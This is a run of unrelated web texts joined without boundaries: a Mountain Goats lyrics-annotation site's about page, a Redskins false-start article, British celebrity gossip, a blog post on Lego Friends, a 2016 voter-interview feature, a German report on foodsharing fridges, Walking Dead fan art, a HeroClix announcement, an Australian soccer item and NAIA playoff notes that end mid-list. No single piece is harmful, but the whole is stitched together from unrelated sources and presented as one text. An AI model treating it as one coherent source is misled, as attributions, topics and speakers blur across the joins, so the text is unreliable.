The objective of this website is to provide a comprehensive, referenced source for information about the lyrics of the Mountain Goats. John's commentaries and details about obscure references can all be found inside. If you'd like to contribute, please let me know! I'd love to hear from you and if I've gotten something wrong, or you have more information, send it in.
Many of the references are from comments John has made at live shows. If these are reported, it's always from a recording so it can be verified. All of these are available online, in the forums, or elsewhere. If you can't find the source and you'd like to confirm a quote, feel free to shoot me a line. Similarly, in the live show directory, the only tapes listed are those whose existence I've been able to personally verify.
Many references and excellent banter are left unannotated. The goal of this website is to help discover and understand the Mountain Goats as opposed to revealing every gem. Listening to live shows and banter yourself will continue to yield moments which cannot be had otherwise. Many particularly amazing descriptions are summarized rather than quoted, and a great deal of banter not pertaining to explaining a song are left for the listener to discover. John himself has said with some frequency that he doesn't believe in parsing every detail — that the meanings of songs change and should be interpreted by the listeners. That said, I love hearing what he thinks about his music, hence this website. So, please be careful with overanalyzing and avoid dogma as you use these annotations.
Buttons
For the past few years, I've made buttons for each Mountain Goats tour and passed them out at shows and through the mail. They're 100% free; my wife and I make them with our button maker. A fellow DIY fan has been making stickers and those are available here as well!
To obtain one, make a self-addressed, stamped envelope, and then email me so I can give you the address to send it to:
gro.gmtdetatonna@snottub
... and some will be on their way shortly. You can see previous designs here!
Albums
Several albums have additional foreign issues containing extras. These are listed below. All additional foreign issues have thus far been in the same year as the main release and in CD format.
EPs
Singles
Splits
Collaboration records are put in the albums, EPs, or singles categories as appropriate, as given the nature of the Mountain Goats it feels artificial to me to distinguish between the nebulous nature of the regular band at times and a formal collaboration. True splits are listed below, along with true collaborations with bands outside the traditional Mountain Goats canon. Collaborations John makes with other bands released under their names are annotated on the other collaborations page.
Compilations
Appearances on non-Mountain-Goats compilations are annotated together on the other compilations page.
Bonus media
Media released in association with an album, generally containing demos, extras, or outtakes. For a complete list of such tracks, see the series page for the informal series of demos and alternate versions and outtakes and extras. Extras without bonus media are annoted with the album in question.
Online releases
Albums or songs whose primary medium of release was an online studio, boombox, or demo recording, but not as an official EP or album. For Songs for Vamsidasa Babaji, see Heretic Pride.
Unreleased or live-only
Albums or songs which are entirely unreleased or which are only played at concerts, radio sessions, and so on.
Multiple additional Congress releases exist, specifically Full Term (1995), The Farm Out Back (1991), She Lies in Roses (1989), We All Fall Down (1985), Sleeping Under Angels' Wings (1985), and Election Year (1985). All were released under the Cache Cow label on cassette. These are not listed above since I've never been able to find copies of them.
The official Mountain Goats discography claims that there is a Seneca Twins demo. However, this is known to be incorrect, and this recording is actually a live show, and accordingly is listed in the live show page. One track off of a rehearsal tape is available.
John has occasionally released material under other names, such as the Comedians (an early name for collaborations between Darnielle and Vanderslice), Yamaraja Racers (a cover band for himself), and others. These are documented as if they were released as Mountain Goats titles, since other than the name they are indistinguishable from Mountain Goats material. #tcot (a project with Christopher R. Weingarten) is a similar two-person collaboration but is listed separately given how different the material is.
Credits
First, thank you, John Darnielle, for making music that has inspired and moved me so much, over and over again. Words cannot describe what your music means to me. Thank you.
I owe a huge thanks to one man in particular: Christopher MacMurray, often known as Caliclimber, who I became friends with at a show and who has encouraged my love of the Mountain Goats in every way possible. He's also produced several truly remarkable Flickr albums, which detail almost every piece of Mountain Goats cover art, related cover art, posters, and Extra Glenns and Lens cover art, from which I and others have cribbed heavily. Thank you for everything, Cali, you are the best.
I also would like to thank Jon Nall for producing his remarkable website, for being the Mountain Goats archivist, for unknowingly exposing me and so many others to information about so much great music, and for inspiring this website. Thanks for paving the way.
Many people have offered information, discussion, feedback, criticism, advice, corrections, and rare praise regarding the contents of this site. Particularly I would like to thank the denizens of the Mountain Goats forums for much discussion and analysis helping me to find more information, the Mountain Goats subreddit for similar reasons, and commenters on many websites (particularly on Songmeanings) for helping me track down obscure references. Of these people, four in particular stand out: Thomas Fidler, also known as Drumhax, Patrick Lickman, also known as echo, who spontaneously drafted entire pages about albums and spurred me to write more, Wil Hall, who transcribed entire albums' worth of lyrics, and Stephen Plummer, a frequent chatter on #themountaingoats, whose impeccable memory and knowledge of live material corrected many errors in the live show directory. Thank you all! You have made this website so much better.
I was inspired to make this website in part because of other annotations that helped me fall more deeply in love with music and literature that kept me alive back in the day (and now). So a deep thank you to the fans who curated these incredible sites and books:
Lastly, thank you to all fans of this amazing band for being an extraordinary community and for supporting excellent independent music.
The Annotated Mountain Goats in the media
To my utter shock, occasionally this website (or my buttons) have been mentioned in print:
Feedback
"The Seth Tisue of tMG." — Andrew Cothren and Max Cohen, Desert Island Discourse "It's cool as fuck... However ... Venetian blinds? Are they a mystery to people?" — an anonymous English fan who may or may not have a song written about him "I have no particular conclusion to give in a rambling piece about nothingness, save for my gratitude to God, the Mountain Goats, and Kyle Barbour, and my hope that all our beings and becomings will find themselves freed from their bonds on some glorious day." — Alyssa Kai, lyskoi and Ramshackle Glory "all hail kyle barbour" — Darnielle Bot "This is the best site on the internet." — Elle May, #themountaingoats and the Heartless Artichokes
I wish could bring myself to agree with Elle above — and I have to admit that my trout-like comrade from England has a point. Either way it brings me great joy to hear that other people have enjoyed the site. Have anything to say about the site, positive or negative? Get in touch! I'd love to share your thoughts here.
Enhancements
A browser extension has been written by Micaiah Parker to more easily see footnotes as a popup instead of following the link to the bottom of each page. If you'd like to use it, you can find it here for Chrome and here for Firefox!
Jay Gruden on Monday against the Browns. (Katherine Frey/The Washington Post)
Redskins coach Jay Gruden wasn’t pleased with the 11 penalties that cost his team 100 yards in Monday’s preseason victory over Cleveland.
But when it comes to the two false starts called on Robert Grffin III in the span of 10 minutes, Gruden had empathy for his quarterback and voiced a touch of frustration and bewilderment with officials this week in explaining why.
What Griffin did wrong, under a strict reading of the rules, was move his torso while going through the snap count, which officials interpret as a ruse to coax the defense offsides.
But in Gruden’s view, there’s simply no way a quarterback can make himself heard in an NFL stadium filled with 70,000 fans without shouting full voice. A former quarterback himself, who followed his Louisville career with stints in the Arena and U.S. football leagues, Gruden demonstrated for reporters that it’s impossible to issue an audible count from a static position.
“In a loud stadium, in order to enunciate your words, sometimes you have to move your chest to yell. Am I right? ‘HUT!’ ” Gruden barked, by way of example. “Sometimes you yell, and that’s what he was doing.”
Given that Cleveland’s defense didn’t jump, the coach questioned whether the 5-yard penalties should have been called at all.
“We’ve just got to make sure we don’t have him do any sudden movement with his hands or try to really move his head and shoulders,” Gruden said. “But that to me was a little insane.”
Have a Redskins question? Send an e-mail to mike.jones@washpost.com with the subject line “Mailbag question,” and it might be answered on Tuesday in The Mailbag.
More from The Post:
Outsider: A closer look at four rookies | At Griffin
Hall praises Rambo | Reid: Griffin needs to get on down
Maske: What would it mean if Sam was cut?
Redskins’ off coverage preference means crackdown is no worry
More NFL: Home page | D.C. Sports Bog | The Early Lead | Fancy Stats | Fantasy
But is Oliver's support for the Chancellor's health levy on sugary foods really so pukka?
Down Under, clean-living Jamie is the face of supermarket chain Woolworths, where his recipes for Australian households are hardly health-conscious.
One of his Easter recipes, promoted on Woolworths' website, is a fat and sugar-laden Hot Cross Bun Ice-Cream Sandwich. One serving of the calorific concoction, endorsed by Oliver in an advertising campaign, contains 1 tsp of chocolate and hazelnut spread, 12.5g of dark chocolate and a scoop of vanilla ice cream.
Jamie Oliver (pictured) is the face of supermarket chain Woolworths in Australia, where one of his recipes is for a fat and sugar-laden Hot Cross Bun Ice-Cream Sandwich
It's hardly going to help Australians 'cook more fresh food from scratch', as Oliver trilled when he announced the no doubt lucrative partnership in 2013.
Nor will the chef's recipes on his own website for Holiday Citrus Slushies, which have 23g of sugar — or gammon cooked in four litres of teeth-rotting Coca-Cola. Coke has around 2.5 tsp of sugar per 100 ml, meaning Jamie's recipe uses some 100 tsp of sugar.
Osborne's sugar tax on fizzy drinks, effective from 2018, has two bands: one for 5g of sugar per 100ml, and one for more than 10g of sugar per 100ml.
A serving of Oliver's ginger and treacle cake with ice cream, posted on jamieoliver.com, contains ten times the amount of sugar taxed in the lower band.
Nevertheless, he welcomed the measure on Instagram, calling the sugar levy a 'profound move that will ripple around the world'.
Oliver's spokesman says: 'You'll see Jamie's view on his website: 'Indulgent food should be enjoyed and savoured, just not every day.'
Jamie Oliver (pictured) was quick to make a celebratory song and dance about George Osborne's new sugar tax in this week's Budget
Like Lucozade? Then TV's Kirstie Allsopp doesn't like you.
Attacking Britain's sugar intake yesterday, the 44-year-old wrote on Twitter: 'Anyone who drinks fizzy drinks, diet or otherwise, every day is an idiot. Lucozade drinkers are the worst.'
Kirstie Allsopp wrote on Twitter: 'Anyone who drinks fizzy drinks, diet or otherwise, every day is an idiot. Lucozade (pictured) drinkers are the worst'
James Norton, Aidan Turner, Idris Elba... the number of actors being tipped as the next James Bond is increasing by the day.
But stage and screen star Rory Kinnear, who is already in the franchise as M's Chief of Staff, has some wise words to offer.
'The thing I remember is that the people everyone thinks are going to be James Bond don't turn out to be James Bond,' he tells me.
Stage and screen star Rory Kinnear (pictured), who is already in the franchise as M's Chief of Staff, has some wise words to offer those tipped to be the next James Bond
James Norton, Aidan Turner, Idris Elba (pictured) have all been tipped as the next James Bond
'So I wouldn't like to nix anyone's chances by nominating them.'
Still, that doesn't stop him panning the chances of action hero Jason Statham. 'Jason is a very good-looking man with a good body and he has that tough image that works in a lot of films,' he says.
'But Daniel Craig has already brought the bad guy image to Bond.'
Princess Eugenie has found an enterprising way to combine her love of travel with hard work.
The 25-year-old's role as associate director at art gallery Hauser & Wirth means she often flies around the world for engagements.
And this week, the daughter of the Duke of York — aka Air Miles Andy — was in LA (near right) with friends playing art guide to actress Michelle Trachtenberg (second right), star of hit TV show Gossip Girl.
Michelle, 30, whom Eugenie met when she worked at Paddle8 auction house in New York, posted this photo online and wrote: 'I got a tour of the brand new Hauser Wirth & Schimmel gallery in downtown LA...Thanks to my girl E, for being my art guide! Friends who art together stay together!'
Princess Eugenie's (second from left, in white) role as associate director at art gallery Hauser & Wirth means she often flies around the world for engagements
Catching up with Eddie 'The Eagle' Edwards before this week's premiere of the film about his life, our greatest-ever Olympic loser told me he has seen the movie four times and, on every occasion, it reduced him to tears.
In part, this is because his father is portrayed as being unsupportive of his ski-jumping exploits, while, in fact, 'he was just as encouraging as my mum'.
Eddie 'The Eagle' Edwards said he's seen the movie about his life four times and it reduced him to tears every time (pictured, Taron Egerton who plays Eddie in the movie)
Eddie is played by Taron Egerton. 'He's got me absolutely right. In fact, when I first saw him on set it was like looking at myself in the mirror — which was a bit scary.'
Photo by FACUNDO ARRIZABALAGA/AFP/Getty Images
It’s been a big week for the debate over gender and children’s toys. On Wednesday, the British toy purveyor Hamleys announced its decision to desegregate its offerings (which had previously been arranged in sections for boys and girls), instead opting to categorize them by type. Activists working for the spread of gender neutrality were thrilled; but, predictably, conservative commentators immediately cried foul, trotting out the old essentialist idea that “nature will always trump nurture and any attempt to re-educate children so they grow up to be model citizens in some socialist utopia is bound to fail.” On the same day, the Dutch toy-making powerhouse Lego announced that in 2012 it would roll out a new, girl-specific line of the classic building-block kits, called Lego Friends.
Bloomberg Businessweek has a fascinating piece on the development of the new kits, which explains the lengthy and in-depth anthropological study the company mounted in order to identify the differences in how girls and boys play.
Lego confirmed that girls favor role-play, but they also love to build—just not the same way as boys. Whereas boys tend to be “linear”—building rapidly, even against the clock, to finish a kit so it looks just like what’s on the box—girls prefer “stops along the way,” and to begin storytelling and rearranging.
These results led Lego designers to create an imaginary world called Heartlake City in which players can follow a cast of female characters—each with a back-story and personality (for example, Emma the Beautician and Olivia the Smart Girl)—as they go about their lives.
While I’m a disappointed that only one of the girls is being sold as “smart,” I have to concede that it seems like Lego did their homework on this one. The BW article reports that the designers were well-aware of the danger of perpetuating pink-washed gender stereotypes, but felt that luring girls to build and play with the brain-stimulating blocks was worth the risk. After all, culturally conditioned preferences for certain colors and styles are unfortunately instilled long before kids get to the recommended start age of 6 anyway. Why not use them to entice girls into a kind of intelligence-boosting play that they might not otherwise experience?
The name of this town north of Terre Haute may be Clinton, but it is Donald Trump country — the kind of place where, on a perfect late-spring day, Tim Donna and two buddies could be found taking turns shooting AR-15s at an outdoor firing range.
Donna, 53, voted for Trump, as did 70 percent of the Republicans who cast primary ballots here in Vermillion County. But in the weeks since, he has grown less thrilled about the prospect of a Trump presidency. Although Donna said he would never cast a ballot for Hillary Clinton, he worries about Trump’s foreign policy — which Donna said “will suck” — and he has watched with alarm as the mogul-turned-presumptive Republican nominee has claimed that an Indiana-born federal judge’s Hispanic heritage made him biased.
“I’m afraid his mouth is gonna get us in trouble,” Donna said of his preferred candidate.
1 of 45 Full Screen Autoplay Close Skip Ad × Trump captures the nation’s attention on the campaign trail View Photos The Republican candidate continues to dominate the presidential contest. Caption Businessman Donald Trump officially became the Republican nominee at the party’s convention in Cleveland. Donald Trump speaks at a campaign event at Trump Doral golf course in Miami. Carlo Allegri/Reuters Buy Photo Wait 1 second to continue.
Returning home from a walk close to her gated golfing community near Gainesville, Va., Sue Munson, 67, sounded as if she is practically Donna’s mirror opposite.
An independent, she expects to vote for Clinton, though she has trepidation about the former secretary of state. Munson worries that Clinton, with all her years of public controversy, is “very divisive.”
But mostly what drives her toward Clinton is her feeling that Trump is a “threat to democracy” who would leave America “so tarnished we would never recover.”
With the wildest primary season in memory coming to an end and the two major parties having settled on their nominees, it seems fair to say that the state of our union is . . . perplexed.
As voters turn to the real choice that is ahead, they are having trouble getting to yes with either candidate.
In dozens of interviews across the country — from heavily white small towns in Indiana to black neighborhoods in Charlotte, from retirement communities in suburban Virginia to Hispanic and Muslim enclaves in Las Vegas and New Jersey, respectively — voters sounded far more passionate talking about why they could not vote for one of the two candidates than in making a positive case for either.
A phrase that came up more than any other was, “the lesser of two evils,” reflecting the fact that Trump and Clinton have higher unfavorability ratings than any two candidates the two parties have put forward since polling began.
On the night six states including California and New Jersey went to the polls, Sen. Bernie Sanders (I-Vt.) vowed to continue "the struggle," even as rival Democratic presidential candidate Hillary Clinton had pivoted to thanking supporters and slamming Republican Donald Trump. (Sarah Parnass/The Washington Post)
The reality that Trump, the blunt outsider who slew the Republican establishment, could be president is finally hitting some who voted for him in the primary.
Since his candidacy announcement a year ago this week, Trump has seemed immune from the fallout of his outrageous comments, in part because he was playing to a Republican electorate and running in a crowded field.
But now that he has won his spot at the top of the ballot, the context has shifted. Even Trump supporters said they have been alarmed by his unpresidential behavior lately, particularly his sharp attacks on U.S. District Judge Gonzalo Curiel, who is presiding over a civil fraud lawsuit involving Trump University.
With Clinton, their reservations are the opposite, in some ways, from their fear of a Trumpian unknown. In her case, it is that voters think they know her too well.
She, too, won a spirited primary campaign — in her case, against an opponent who did surprisingly well by painting her as everything that is wrong about the status quo.
At a time when Americans want change and are fed up, can the ultimate insider shake off the accumulated ambivalence that has been built up around her since she stepped on the national stage a generation ago? The controversy over her use of a private email system when she was secretary of state has only reinforced their concerns about her trustworthiness.
“It’s a clown show. I’m pretty much embarrassed to be an American citizen,” said Tim Spendal, a registered Democrat who owns a meat market in Clinton and who hasn’t decided how he will vote in November.
“I’m probably going to wait until they hash it out. Watch a debate,” Spendal said. “I want to know if Trump can speak without being racist and pissing people off.”
Interviews across the country suggest that the problems afflicting Trump and Clinton are unsettling many of their potential supporters, but in most cases are not yet disqualifying. This dynamic is the backdrop for the intense and nasty battle ahead.
The time-honored playbook for running against an unpopular opponent is to make the election about that other person. Trump and Clinton probably will seek to mobilize their own supporters with aggressive attacks on each other, while each also is likely to try to peel voters away from the other by stoking the doubts already present in their minds.
Polls indicate that only about one-quarter of the public thinks that the country is on the right track.
“I look around, and I see our nation is hurting. Something’s gotta change, or else we’re not gonna have nothing,” said Samantha Barber, 31, who works at a food-processing plant in Mooresville, Ind., and who worries about what the future holds for her three elementary-school-age children.
But when this undecided voter considered the standard-bearers that the two parties will be putting at the top of the ballot in November, she said: “I don’t like any of them. It’s just a big game.”
For minority communities in particular, this year is a far cry from the euphoria of 2008, with its prospect of making then-Sen. Barack Obama the first black president.
But for many nonwhites, Trump’s candidacy may have ignited a new sense of purpose. His talk of building a wall on the Mexican border and temporarily banning Muslims from entering the country has elevated the stakes in what the current polls show to be a tight presidential race.
“It’s woken up an immense giant, and it’s giving us that boost that we needed to understand the value that we have in the community, and helped us realize that if we don’t unite and we don’t turn out, we’ll lose,” said Nelson Araujo, 28, a Nevada state assemblyman who represents some of the most heavily Hispanic parts of Las Vegas. “It is a big election cycle, but the severity and consequences could be really grave, at least for our community, should Trump come out successful.”
On the other side of the country, in South Brunswick, N.J., Azra Baig, who was attending a mosque for the final prayers of the night during Islam’s holy month, expressed a similar sentiment.
“We don’t need to just watch, we need to get out and vote,” said Baig, a 43-year-old registered nurse who was the first female Asian American voted to the school board in South Brunswick. “This is a dangerous man; we don’t know what he’s capable of. That’s what makes it so scary.”
Dealing with doubts on Trump
Three times a week, Norma Quinn, 90, watches the squabbling and name-calling on cable news as she undergoes dialysis in Prince William County, the fast-growing exurban area that is considered a bellwether in battleground state Virginia.
“In the beginning, I was warming up to Trump — he doesn’t talk like a politician, which was refreshing,” she said. “But he has made such a fool of himself. His conduct has disturbed me, and I don’t think I want him to lead our country.”
Nor does she think much of his ideas.
Build a wall along the Mexican border? “Not possible,” Quinn said.
And those comments about Curiel, the judge? “Clearly racist. He has to apologize.”
Trump often notes how his candidacy produced record numbers in the Republican primary, and predicts that he can bring out voters — and win states — that do not usually end up in the GOP column.
“That’s a very important part of our strategy,” his campaign manager Corey Lewandowski said in an interview. “Now, we’ve got a clear choice; there’s a clear dichotomy in this election.”
But if Cathy Horn of Brooklyn, Ind., is any indication, Trump still has some work to do within his party, winning over those who voted for other GOP candidates.
Horn, 66, has worked at a steel mill for 44 years and supported Ohio Gov. John Kasich in the primary. As she sat in her Saturn SUV the other day in Brooklyn, she pondered her choice for the fall.
“I don’t want to see either of them in there,” Horn said. “Mr. Trump does not have the finesse to be president. Hillary is getting in because of her husband and because she’s female.”
Horn was horrified to hear Trump’s comments about Curiel, and cannot understand why GOP leaders such as House Speaker Paul D. Ryan (R-Wis.) can denounce what he said and still support him.
On some level, Horn said, she is simply mystified: “I feel as though I don’t know what’s going on in our country.”
Steve Dowling, 53, is another Kasich voter who feels torn. A district sales manager in Stow, Ohio, he was visiting for a conference.
He will be closely watching the GOP convention in his home state in July for signs that Trump is up to the job.
But he also said he is open to an alternative to the two major-party standard-bearers.
“I’m hopeful someone comes in and is a stronger candidate,” he said at an Applebee’s restaurant in Camby, Ind. “I don’t know if we needed it in the past, but if these are the candidates, it is going to open the door for a third party.”
Jeff Cooprider, a 67-year-old retiree, cast his vote in the Indiana primary for Sen. Ted Cruz (R-Tex.). He forgives Trump’s comment about Curiel but has another concern: his temperament.
“I think we’re headed for a war if we get Trump in there,” Cooprider said at a McDonald’s in Terre Haute, Ind. “Not just over there, but over here, with all the protesters.”
But, he added, “I just can’t make myself vote for Hillary, so that leaves Trump, I guess.”
Others say they voted for Trump, and remain glad they did.
Gary Shay, 71, was nursing a cup of coffee in Clinton at Benjamin’s restaurant, a .38 Special on his hip.
“I want to bring this country back to where it used to be,” Shay said. “It all comes back to basics: He’s a Christian. God, guns and guts. And patriotism.”
Finding their way to Clinton
Carmen Blackmon, 54, runs an after-school program in Charlotte, where African Americans and Hispanics make up 40 percent of the population.
Those two groups also propelled Clinton toward the presumptive nomination. Clinton won 78 percent of African American voters and 60 percent of Latinos. Among whites, Sanders narrowly edged her out in exit polls across the primaries.
Blackmon likes the idea of electing the first female president. But, she said, “I am nowhere near as happy or excited as I was when President Obama was running.”
Torn between Clinton and Sen. Bernie Sanders of Vermont in the Democratic primary, “I finally settled for Hillary, because the main thing for me was, well, who really does have the greatest experience? Who really will be able to go toe-to-toe with Donald Trump?” Blackmon said. “I can’t say that I’m excited about her being my choice, but there’s no way — I cannot vote for Donald Trump.”
There was a similar tone of resignation at Mariana’s SuperMarket, which is 5 1/2 miles northeast of Las Vegas’s famed Strip and Trump’s gold hotel tower there.
In 106-degree heat, a Democratic organizer was trying to sign up new voters as part of the party’s goal of adding 16,000 people from this neighborhood to the rolls by the time registration ends in October.
Ericka Morales, a 19-year-old Army reservist, stopped and took a clipboard.
“I was kind of hoping it was going to be Bernie,” she said. Morales does not think that all of Trump’s ideas are bad, but immigration is her top concern, because she has family members whom he would round up and deport.
As for Clinton: “She’s kind of taken the wrong side. But she’s a woman. She’s going to represent me a little more.”
Jose Macias, 27, was voting early Wednesday, ahead of this week’s Nevada primaries for local and congressional elections. The national debate over immigration policy is very real to him. His father is eligible to stay in this country under Obama’s delayed-action program for parents of Americans, which Republicans have argued is an unconstitutional abuse of executive power; his mother died of a stroke two years ago because she was too scared, as an undocumented immigrant, to call an ambulance.
“I don’t want to wake up in a country where Trump is my president,” Macias said. But he also acknowledged that, as a Sanders supporter, he is not without misgivings about Clinton.
“She never really inspired me, and right now, I’m at a point where I don’t know if I trust her,” he said, adding that one way she could remedy that is to add Sen. Elizabeth Warren (D-Mass.) to her ticket.
At the South Brunswick mosque, worshipers were also coming to grips with the fact that a major political party is getting ready to nominate a presidential candidate who would ban people of their faith — temporarily, Trump says — from coming to the United States.
Die Leute wollen Kühlschränke
Öffentliche Kühlschränke mit Lebensmitteln für alle haben Fans. 40.000 Unterschriften sammelte die Iniative Foodsharing für ihre „Fairteiler“.
„Magste einen Apfel haben?“ „Nee“, quengelt das Kind. „Dann lieber Schokolade?“ Doch auch dafür lässt sich der kleine Junge nicht begeistern. Offensichtlich hat er die Erziehungsregel Nummer eins – nichts von Fremden annehmen – verinnerlicht. Dafür greifen andere bei den kostenlos verteilten Lebensmitteln beherzt zu.
Die Initiative Foodsharing hat an diesem kalten Donnerstagabend eine Art mobilen Fairteiler vor dem August-Bebel-Institut im Wedding aufgebaut. Die Initiative setzt sich gegen die Verschwendung von Lebensmitteln ein. Sie hat dafür in ganz Berlin 25 öffentlich zugängliche Kühlschränke aufgestellt: In diese Fairteiler kann jeder nicht mehr benötigte Lebensmittel legen, andere dürfen sich dort kostenlos bedienen. Doch die Aktivisten haben ein Problem: Dem Bezirk Pankow gelten ihre Kühlschränke als Hygieneproblem.
Im Weddinger Bebel-Institut hat die neu ernannte Staatssekretärin für Verbraucherschutz, Margit Gottstein (Grüne), am Donnerstagabend zum Gespräch geladen. Thema: „Wie isst die Stadt?“ Für die rund 25 Aktivisten eine gute Gelegenheit, auf ihre Sache aufmerksam zu machen. Denn sie befürchten, dass bald alle Fairteiler schließen müssen: Seit einem Jahr gelten die Fairteiler als Lebensmittelunternehmen.
Viel strengere Auflagen
Die – zu Recht strengen – Auflagen des Lebensmittelrechts müssten eigentlich schon jetzt das Ende der ehrenamtlichen Arbeit bedeuten: Da viele der Fairteiler dennoch zugänglich bleiben, ging die Ini­tiative bisher von einer Duldung durch die Behörden aus. Doch Anfang des Jahres habe man die zwei Fairteiler in Pankow auf einmal versiegelt vorgefunden, berichten die Aktivisten.
Schon Anfang vergangenen Jahres hatte Foodsharing eine Onlinepetition gestartet. Die Forderung: Die Fairteiler sollen, wie in allen anderen Bundesländern, als private Übergabeorte betrachtet und somit erhalten werden. Rund 40.000 Unterschriften gingen bisher ein. Die Mitglieder der Initiative übergaben sie am Donnerstag an Gottstein. Ihre Hoffnung ist, dass der neue rot-rot-grüne Senat auch ernährungspolitisch andere Weichen stellt.
Die Staatssekretärin zeigt sich bei der Petitionsübergabe durchaus offen. „Ich finde das einen ganz tollen Ansatz“, sagt sie und lädt die Initiative zu weiteren Gesprächen ein. Aber auch Gottstein schränkt ein: „Man muss natürlich auch die Hygienevorschriften beachten.“
Walking Dead Fan Art:
The Walking Dead – Rick
Artist – TayleRX
With this drawing, I tried slightly different shading technique but I’m not sure if I like it or not, I feel that there is a lack of contrast here. For the majority of the time I was frustrated about the amount of shading that this drawing requires, especially on his shirt so I might have rushed it a little bit If it wasn’t enough, his hair was like a maze to me so quite obviously I rushed it as well.
The Walking Dead – Shane
Artist – TayleRX
I think it might be one of my best portraits I’ve done so far Drawing a character that you truly like must have done something because I enjoyed every second spent on this drawing… everything from a short hair to his shirt which is quite a big part of this drawing. In other words, I’m extremely proud of it
The Walking Dead – Sheriff
Artist – EnergizerII
Rick Grimes from The Walking Dead. made with colored pencils.
The Walking Dead – Andrea and Michonne
Artist – PeejayCatacutan
Walking Dead the Game – Clementine all grown up
Artist – Handraw
A character design for Clementine from the Walking Dead Game, ten years after the game is set. Clementine just breaks my heart. One of my favourite characters from one of my favourite games.
Daryl Dixon – The Walking Dead
Artist – R-becca
The Walking Dead’s Daryl Dixon, as played by the amazing actor, Norman Reedus. FINALLY completed! Details:
– Pencils: Staedtler F, 2H, B, 4B, Mechanical pencil.
– Smudge stick, white eraser, & make up sponge.
– Canson paper.
– Approximately 9 hours.
The Walking Dead Season 3 Poster
Artist –sologfx
The Walking Partly Dead
Artist – Pau-Norontaus
Some of the cast of The Walking dead, great series and an amazing comic. Pencil on A4, photo references, 3-4h.
The Walking Dead – Blood and guts
Artist – Brolken
The Walking Dead – Daryl x Beth
Artist – maXKennedy
Normal Reedus – Daryl Dixon from The Walking Dead
Artist – P3ncilPortraits
Walking Dead Poster
Artist – Erich0823
Daryl Dixon
Artist – otoimai
Rick Grimes – The Walking Dead
Artist – LornaKelleherArt
The mutants of Xavier’s School for Gifted Youngsters are joining Marvel HeroClix in the new X-Men First Class expansion, releasing February.
Marvel HeroClix: X-Men First Class will feature the students and teachers drawn from the history of Xavier’s famous school, allowing players to create a wide variety of X-Men-themed teams for the HeroClix game, including members of Blue Team, Gold Team, and even the team led by Magneto. A number of new characters that have never appeared in HeroClix will be part of the set, including Phat, Goldballs, Mondo, and Surge. WizKids is also bringing back ID cards for this expansion set.
The new expansion will be available both as Fast Forces and in a Booster Brick:
The X-Men First Class Fast Forces set is intended as a quick and easy way for players to start up an X-Men team, with a complete 300-point team in the box. The team includes Cyclops, Beast, Iceman, and Jean Grey, as well as Rusty and Skids, appearing as HeroClix figures for the first time. MSRP is $16.99.
The rest of the expansion figures will be available in the X-Men First Class Booster Brick, which includes ten normal booster boxes. The complete set will have more than 70 different HeroClix figures, and a total of 25 ID cards. MSRP is $129.90 per brick.
The new set will be supported with two different Dice & Token Packs, each with two custom dice and six action tokens. The Modern pack features modern X-Men, while the Time Displaced pack offers time-displaced versions of the original X-Men. MSRP for both packs is $9.99 each.
Retailers wanting to host a release day event for the new expansion can order the X-Men First Class Release Day Organized Play Kit, while supplies last. This kit includes three copies of a special limited edition HeroClix character with card, five double-sided maps, and instructions for running the event. These materials are marked “not for resale” as part of WizKids Promotional Product Licensing Agreement, and are limited to three kits per store.
The report, to be released on Monday, says while the sport is of a significant size, a lack of facilities and general infrastructure is severely hampering it outside the elite level across the country.
Football Federation Australia chief executive David Gallop said the figures show the sport deserves a greater share of government funding, particularly with the NSW state election looming.
The report says while amateur soccer's popularity is on the up, the sport is hampered by a lack of facilities. Tim Clayton
"If we extrapolate this NSW data to a national level we can see that grassroots football contribution to the economy is delivering just over $1 billion per annum to the Australian community," Mr Gallop said. "It helps demonstrate with hard data why football is the ideal partner to help governments build vibrant communities."
By Alan Grosbach, Manager of Communications and Sports InformationPhoto provided by Southern Oregon Athletics
KANSAS CITY, Mo. – (FCS Schedule) For the second-straight year, Marian (Ind.) and Southern Oregon claim road victories to earn a spot in the 60th annual NAIA Football National Championship, presented by Waste Pro, with wins today in the NAIA Football Championship Series (FCS) Semifinals. Marian was dominant in a 45-14 victory at conference rival Saint Francis (Ind.), while Southern Oregon overcame Morningside (Iowa), 30-27, in the game’s final minutes.
With the wins, Southern Oregon and Marian meet with the title on the line for a second-straight season. This is the first time that the same two teams have met in the championship game since Carroll (Mont.) and former member Sioux Falls (S.D.) locked horns in 2007 and then again in 2008. The Raiders won the 2014 installment, 55-31.
This is only the second time since the NAIA returned to one division in 1997 that both road teams won in the semifinals. Overall, host schools in the playoffs own a 202-63 (.762) record in the FCS, including a 27-11 (.711) mark in the four of four.
The 60th annual NAIA Football National Championship, presented by Waste Pro, is scheduled for Saturday, Dec. 19 in Daytona Beach, Fla. The City of Daytona Beach will host the event at Municipal Stadium for the second-straight season. For information on the NAIA’s partner hotels and details on the championship week schedule details, visit http://bit.ly/NAIARaceToDaytona2015. The game will be carried live on ESPN3 starting at 6 p.m. EST.
Game Notes
Game 1 – Southern Oregon (11-2) def. Morningside (Iowa) (12-2), 30-27
• Defending national champion Southern Oregon kept its repeat title hopes alive Saturday with a 30-27 win at top-ranked Morningside (Iowa).
• The Raiders marched 75 yards, capped by a Tanner Trosin 4-yard touchdown run with 1:15 remaining, on what proved to be their final offensive possession of the contest. Morningside had an opportunity to tie the game, however its 40-yard field goal attempt was blocked as time expired.
• With the win, Southern Oregon improves to 2-0 all-time in the FCS semifinals. The Raiders have the opportunity to become the first team to win back-to-back titles since former member Sioux Falls (S.D.) accomplished the feat in 2008 and 2009. Prior to last year’s title run, Southern Oregon had never advanced beyond the quarterfinals.
• Forty-four of the games 57 points were scored in the second half.
• Trosin was the star once again for Southern Oregon, as the Folsom, Calif., native accounted for 467 total yards and three touchdowns. Trosin completed 27-of-39 attempts – one pass attempt shy of tying a season-high – for 391 yards, including a 27-yard touchdown strike to Zack Davis early in the third quarter. He also ran the ball a team-high 21 times for 76 yards and two scores.
• Wide receiver Matt Retzlaff, one of many key members still on the team from Southern Oregon’s 2014 title run, was Trosin’s favorite target with nine catches for 139 yards – both game-highs.
• Southern Oregon linebacker Devvon Gage record a game-best 13 tackles, including 1.5 tackles for loss.
• Morningside quarterback and Great Plains Athletic Conference Player of the Year Ryan Kasdorf had a solid performance despite the loss with 337 yards passing and one touchdown. He was intercepted once and sacked three times.
• The loss is the third-straight in the FCS semifinals for Morningside, which owns the NAIA’s longest active FCS appearance streak of 12. The Mustangs are 16-12 all-time in the playoffs.
Game 2 – Marian (11-2) def. Saint Francis (Ind.) (11-1), 45-14
